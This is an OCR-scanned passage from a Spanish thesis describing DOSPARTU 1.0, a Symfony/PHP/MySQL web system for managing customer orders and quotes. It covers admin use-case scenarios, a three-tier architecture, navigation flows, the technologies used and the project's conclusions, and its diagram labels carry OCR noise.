4.2.3.11. Escenario Listar Pedidos

El administrador desde esta opcién obtiene un listado con los pedidos efectuados.
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Formulario principal islema
Mrrinistradmr.}ﬁ.dministradﬂr I
1 1. listar_pedidal) I
L

2 solictar_pedidosi)

L J

4. devalver_pedidal)

4. mostrar_pedidos()

-
I
I
I
I

o -

Figura 45 Escenario Listar Pedido
Fuente: [Propia]

4,2.3.12. Cambio de estado Pedido

El administrador dispone de esta funcionalidad consistente en seleccionar el producto y modificar el

estado en que se encuentra.
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Administrador-Administrador

1: cambio_estao_pedidol)

> 2: listar_pedido()

3: modificar_estado)

4 confimnacion ()

5. mansaje_confirmacian ()

—

~===

Figura 46 Cambio Estado Pedido
Fuente: [Propia]
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4.3. Disefio

El objetivo de la fase de disefio es determinar como va ser construido el sistema a partir de los
requisitos y el modelo obtenidos durante la especificacion. A partir de los modelos obtenidos en la fase
anterior, analisis, plantearemos como llevar a cabo la implementacion de la aplicacion Web pero, sin
entrar en los detalles de una tecnologia concreta. Definiendo la arquitectura que define los principales

componentes de nuestra aplicacién en el contexto de un entorno Web.
4.3.1. Arquitectura Multicapa

Una arquitectura multicapa es un conjunto ordenado de subsistemas, cada uno de los cuales esta
constituido en términos de los que tiene por debajo y proporciona la base de la implementacion de
aquellos que estan por encima de él.

Los objetos de cada capa suelen ser independientes, aunque suelen haber dependencias entre objetos de
distintas capas.

Existe una relacion cliente/servidor entre las capas inferiores, que son las que proporcionan los
servicios, y las capas superiores, los usuarios de estos servicios. El disefio de nuestra aplicacién se basa

en una arguitectura multicapa, mas concretamente en una arquitectura de tres capas:

» Capa de presentacion: También conocida como interfaz gréafica, se encarga de la presentacion

de los resultados al usuario y la recogida de informacién del usuario al sistema.

» Capa de negocio o logica de la aplicacion: Proporciona la funcionalidad de la aplicacion. Es

el encargado de realizar todas las operaciones a nivel aplicacion.
» Capa de datos o persistencia: Este nivel es el encargado de almacenar toda la informacién de

nuestra aplicacion, ademas de asegurar el acceso a la informacién de una forma controlada y

segura. Este nivel lo forman la base de datos y el software de gestion de base de datos.
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ARQUITECTURA DEL SISTEMA

Clientes

Negocios Datos

Capa de

Capa de
datos

Negocio

T Administrador

|

Figura 47 Arquitectura del Sistema
Fuente: [Propia]

4.3.2. Capa de negocio

La capa de negocio, también conocida como capa de dominio, es la que mantiene toda la légica y las
reglas del negocio. Se encarga de validar datos en el lado del servidor, realizar las operaciones y

calculos con los datos y gestionar las interacciones con la capa de datos y la capa de presentacion.
Framework utilizado
El Framework utilizado para el desarrollo de todo el sistema es Symfony:

» Permite un acceso a base de datos ORM (mapeo objeto-relacional) propel.

» Facilita la interaccion con la capa de datos, trabajando a mas alto nivel sin necesidad de definir

largas consultas contra la BBDD que no son comprobadas hasta en tiempo de ejecucion.

» Incorpora un control automatico de errores, logs y gestion de excepciones.
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» Dispone de un conjunto de utilidades que simplifican numerosas tareas comunes en toda
aplicacion web, como validaciones de datos, gestion de listados, interaccién con la capa de

datos, etc.

Marca a los desarrolladores unas pautas de metodologia que comportard un sistema mas estandarizado

y mas comprensible para otro desarrollador en caso de tener que incorporarse al proyecto.

El Framework estd compuesto principalmente de dos tipos de objetos: Entidades y Datos. Cada clase
del modelo dispone de su correspondiente instancia de este par de objetos que se complementan entre

si: la Entidad contiene sus atributos y operaciones y el Dato contiene el mapeo a la BD.

Un atributo se representa en la Entidad mediante un objeto Campo, compuesto por un Tipo De Datos y
un Filtro. Ademas, cada Campo contendré el nombre del campo correspondiente a la tabla del dato y

una etiqueta que se mostrara en la capa de presentacion para definir el campo.

Los Tipos De Datos son un conjunto de clases que corresponden a los tipos béasicos del lenguaje, como
enteros, reales o strings, pero han sido mejorados para facilitar su uso mediante la incorporacion de
validaciones y conversiones de tipo automaticas, gestién de valores nulos, valores por defecto,

formatos numéricos, etc.

También se han creado Tipos Enumeraciones para las entidades correspondientes a un conjunto
limitado de valores, como las secciones, los tipos de productos, tipos de familias, etc., con el fin de
mejorar la legibilidad, el mantenimiento y la ampliacién del codigo. Ademas en estos tipos se
incorporaran métodos auxiliares usados constantemente como el de rellenar un combo con sus nombres

e identificadores correspondientes.
4.3.3. Capa de presentacion

La capa de presentacion es la capa con la que interactGa el usuario y donde presenta los resultados el
sistema. En ella también se valida la informacion introducida por el cliente para evitar accesos
innecesarios al servidor.
Sistema:

La navegacion por la web debe ser facil e intuitiva, por lo que todas las paginas tendran una
estructura coman que le permitird al usuario permanecer siempre orientado y poder desplazarse con

total libertad a las principales paginas del sitio.
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Ademas, dentro del contenido de la propia pagina existiran enlaces hacia paginas secundarias como
podrian ser secciones secundarias o detalles de los productos. En ellas se afiadird un enlace de vuelta a
la p4gina desde la que se accede, por si no se encuentra el contenido que se buscaba o se prefiere
continuar la navegacion por donde estaban.

La navegacion se la realiza de acuerdo al siguiente diagrama:

Navegacidn Basica por la aplicacién

Inicio

Acerca
Informacion Mosotros

Mision
ll Vision

Contactos

Categorias

!

Monitores
Procesadores
Discos ]
Combos Pedldofproformaj
CPU

Fabricantes

L

Pedido

Proveedores

&

Cuenta

Pl——
Estado, pedidos ' ﬁ
Busqueda

Datos registro, pedidos

Criterios Busqueda

Figura 48 Navegacion Basica de Sitio
Fuente: [Propia]

Cuando se afiada un elemento a la proforma desde un listado o ficha del producto, se navegara
automaticamente a la pagina de donde se podra ver toda la informacién del pedido y modificar

cantidades, con el enlace de regreso que permitira continuar con la proforma.
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Gracias a esta red de enlaces se consigue que el visitante pueda llegar a las paginas principales con un
nico clic, y a las secundarias con un maximo de dos. A continuacion se muestra un mapa de
navegacion simplificado a través de los enlaces situados dentro del contenido, incluyendo el proceso de

pedidos/proformas.

El proceso para realizar un pedido, incluira la identificacion de clientes, recuperacion o cambio de la
contrasefia, la gestion de los datos de la proforma finalmente realizar la confirmacion para realizar la
proforma definitiva, registrar datos para el envio. Una vez terminado el proceso del pedido volver de

nuevo a la pagina de inicio.

Proceso para realizar pedido y registro:

Registro

Cliante

Recordar [T [dentificacion
Contraselia Cliente

Yy

Datos

Envio T

#| Confirmacion

Cambia

Contrasefia Finalizado

Figura 49 Proceso para pedido
Fuente: [Propia]

Administracion.

La capa de presentacion del gestor de contenidos ha sido disefiada para ser muy intuitiva y facil de
usar. Las paginas del gestor de contenidos estaran divididas en tres secciones: una cabecera con un
titulo y datos de la sesion, un menu y el contenido de la pagina. Para acceder a cualquiera de ellas se

deberd iniciar sesién a través de un punto de entrada al sistema o pagina de Login.
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El flujo basico del administrador serd el siguiente:

Flujo administrador:

coeso fallido

Accaso Meni
valido ' Principal

Seccion Mend

l

Elimimar "1 Cargar Filiro™™
Entidad Listado Filiro
Entidad —Flltrar Listado Entidad
Mueva
riticdacd
Corsultar Errtidadﬁ
Ficha Craar/ Madificarf Ficha
Wacia Waolver volver Entidad

Figura 50 Flujo Basico Administrador
Fuente: [Propia]

Al seleccionar un menl se desplegara el Listado de elementos disponibles. A través del Filtro se
podran filtrar los resultados mostrados en el listado. A través de cada uno de los elementos se podra
acceder a su Ficha donde se podra consultar y editar el contenido convenientemente. Desde el propio
listado también se podré eliminar un elemento o acceder a una ficha en blanco para dar de alta un
NUevo registro.

Ademas, para mejorar la navegabilidad del gestor el men( siempre estara accesible por lo que en
cualquier momento se podra cambiar a otro punto y las fichas que contengan listados también
permitiran acceder directamente a la ficha de éstos, como por ejemplo el listado de productos dentro de
la ficha de una familia.

El Framework incorpora un conjunto de clases que permiten desarrollar el gestor de contenidos
mediante un sistema basado en el modelo vista controlador. Para cada pagina del Admin se disefiara su

propio controlador que heredara de los controladores de Lista, Ficha o Filtro segin convenga. Cada
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controlador mantendré la entidad del modelo con la que trabajara, que como hemos visto dispondra de

métodos para cargarla, guardarla o filtrar registros en los listados.
4.4, Implementacion

Tecnologias:

Para poder realizar toda nuestra aplicacion hemos utilizado distintas tecnologias y lenguajes de

programacion.

Principalmente hemos utilizado el Framework SYMFONY 1.2.X, ademaés:

Hemos optado por instalar AppServ Open Project - 2.5.10 for Windows que incorpora:
Apache Web Server Version 2.2.8

PHP Script Language Version 5.2.6

MySQL Database Version 5.0.51b
phpMyAdmin Database Manager Version 2.10.3

YV V VYV V

En nuestro disefio de interfaces hemos utilizado la programacion con el lenguaje HTML y CSS, para
darle una apariencia correcta a todas las paginas y que nos permita con el minimo trabajo posible
realizar modificaciones.

Con JavaScript hemos realizado algunas comprobaciones extras a las que ya hemos definido con
Symfony.

PHP ha sido el lenguaje elegido para desarrollar la légica de la aplicacidn, ya que es uno de los
lenguajes maés utilizados en la red, el cual nos permite la realizacion de péginas dindmicas de una
forma rapida y potente.

Para el nivel de persistencia, hemos utilizado MySQL, que conjuntamente con PhpMyADMIN hemos

podido crear y administrar nuestra base de datos de una forma coémoda y visual.

HTML: Corresponde a las siglas de HyperText Markup Language (lenguaje de marcado de
hipertexto), es el lenguaje predominante en la elaboracion de péaginas Web que nos permite tener
documentos estructurados y vinculados entre si. Es usado para describir la estructura y el contenido en

forma de texto, asi como para completar el texto con objetos tales como imagenes, tablas...
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CSS: Las hojas de estilo en cascada 0 CSS, Cascading Style Sheets, es un lenguaje utilizado para
definir la presentacion de un documento estructurado, HTML o XHTML. Este tipo de lenguaje nos
permite de una forma sencilla, definir todo tipo de formatos, colore, en definitiva la apariencia que le
gueremos dar a nuestra aplicacion Web, inclusive podemos disponer de varias hojas de estilo, para que
JavaScript: Es un lenguaje de programacion interpretado. Se define como orientado a objetos,
débilmente tipiado y dinamico. Se utiliza principalmente en su forma del lado del cliente,
implementado como parte de un navegador web permitiendo mejoras en la interfaz de usuario y
paginas web dinamicas.

JavaScript se disefié con una sintaxis similar al lenguaje C, aunque adopta nombres y convenciones del
lenguaje de programacion Java.

Todos los navegadores modernos interpretan el cdigo JavaScript integrado dentro de las paginas web.
Para interactuar con una pagina web se provee al lenguaje JavaScript de una implementacion del
Document Object Model (DOM).

En nuestra aplicacién, el JavaScript utilizado es béasicamente para realizar operaciones de
comprobacion lanzando mensajes de advertencia y ubicando el foco en la parte del formulario que
debemaos rellenar de forma correcta.

También lo hemos utilizado en nuestra barra de navegacion, en el boton de volver atras. Segin que
visitante o que usuario, segun el navegador con el que accedemos, si queremos imprimir una pagina.
Los cambios se realizan en una Unica pagina, no tenemos que ir pagina por pagina definiendo un nuevo
estilo, con cambiar nuestro CSS es suficiente, es una forma muy efectiva y potente.

PHP: Es un lenguaje de programacion interpretado, disefiado originalmente para la creacion de
paginas web dinamicas.

Es usado principalmente en la interpretacion del lado del servidor pero actualmente puede ser utilizado
desde una interfaz de linea de comandos o en la creacion de otros tipos de programas incluyendo
aplicaciones con interfaz grafica usando bibliotecas especificas.

Nos permite la construccion de paginas Web con independencia del servidor y de la base de datos que
estemos utilizando, con una compatibilidad completa en cualquier plataforma, ademas de integrarse de
una forma completa con el c6digo HTML.

MySQL.: Structured Query Languaje, es un sistema de gestion de base de datos relacional, multi-hilo
y multiusuario. Una base de datos relacional almacena los datos en tablas separadas, lo cual hace que la
velocidad y flexibilidad de trabajo sean muy grandes.

Cada tabla esta enlazada mediante relaciones, con lo cual es posible combinar datos de varias tablas
cuando realizamos una consulta. Este software es de c6digo abierto, open source, con lo cual cualquier

persona puede utilizarlo y modificarlo sin necesidad de realizar la compra del mismo.
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4.5, Herramientas

Las herramientas utilizadas en el desarrollo de nuestra aplicacion han sido:

AppServ: El cual hemos mencionado anteriormente, y funciona bajo el entorno Windows 7.
Symfony-1.2.12: Toda la aplicacion esta basada en este framework, es gratuito y completo para el
desarrollo de aplicaciones basadas en PHP 5.2.x.

Notepad++: Para la edicion de archivos PHP, XHTML, CSS, Javascrip.

ArgoUML.: Nos ha permitido la creacién de los diagramas UML y su exportacion en imagenes.

Visio: Para la creacion de algunos diagramas utilizados en nuestro sistema y exportarlos en formato de
imagen .PNG
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5. Conclusiones y Recomendaciones

5.1. Conclusiones

La implementacién del sistema DOSPARTU 1.0 Sistema de Gestién de Pedidos y Proformas
Din&micas por Internet, ha permitido mejorar los proceso para realizar pedidos por parte de los
clientes.

Se redujo los costos de procesamiento de pedidos, ya que los pedidos de los clientes se
procesaran de forma automaética, quedando registrados directamente en la base de datos los
pedidos hechos en la pagina Web

Permite aceptar y procesar 6rdenes de compra sin la necesidad de intervencién ni supervision
manual, manejando multiples pedidos de manera eficiente y en poco tiempo

Utilizar Symfony para el desarrollo del sistema DOSPARTU 1.0, ha simplificado el desarrollo
de la aplicacién, mediante la automatizacién de algunos de los patrones utilizados para resolver
las tareas comunes, como la conexion, insercion, actualizacion, eliminacién y la interacciono

con la base de datos, ademés de la generacion de formularios de forma répida y sencilla.

5.2.Recomendaciones

164

» Actualizar constantemente los productos, ya sea mejorando los existentes o sacando nuevos;

pero también es recomendable actualizar siempre el disefio de nuestro sistema. Ello nos dara la
imagen de una empresa activa, que se renueva constantemente.

Las imagenes son importantes para la eleccién del productor por el comprador, ya que si no
puede visualizar al detalle el producto que va a adquirir disminuira las posibilidades de realizar
el pedido, es por eso que es necesario que las imagenes colocadas sean de gran tamafio de
buena calidad, y descripcidn clara y precisa.

Realizar un estudio detenido de Symfony para realizar mantenimiento, modificar o mejorar la

aplicacion, y mantener actualizada constantemente.
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7. Anexos

Los documentos estan disponibles en formato digital en el CD del proyecto.
Anexo A: Glosario de Términos
Anexo B: Manuales de usuario
B1: Manual de Usuario Administrador
B2: Manual de Usuarios Cliente
Anexo C: Manual Técnico
Anexo D: Entregables de RUP
D1: Diccionario de Datos
Anexo E: Manual de Instalacion

E1: Manual de Instalacion Symfony.
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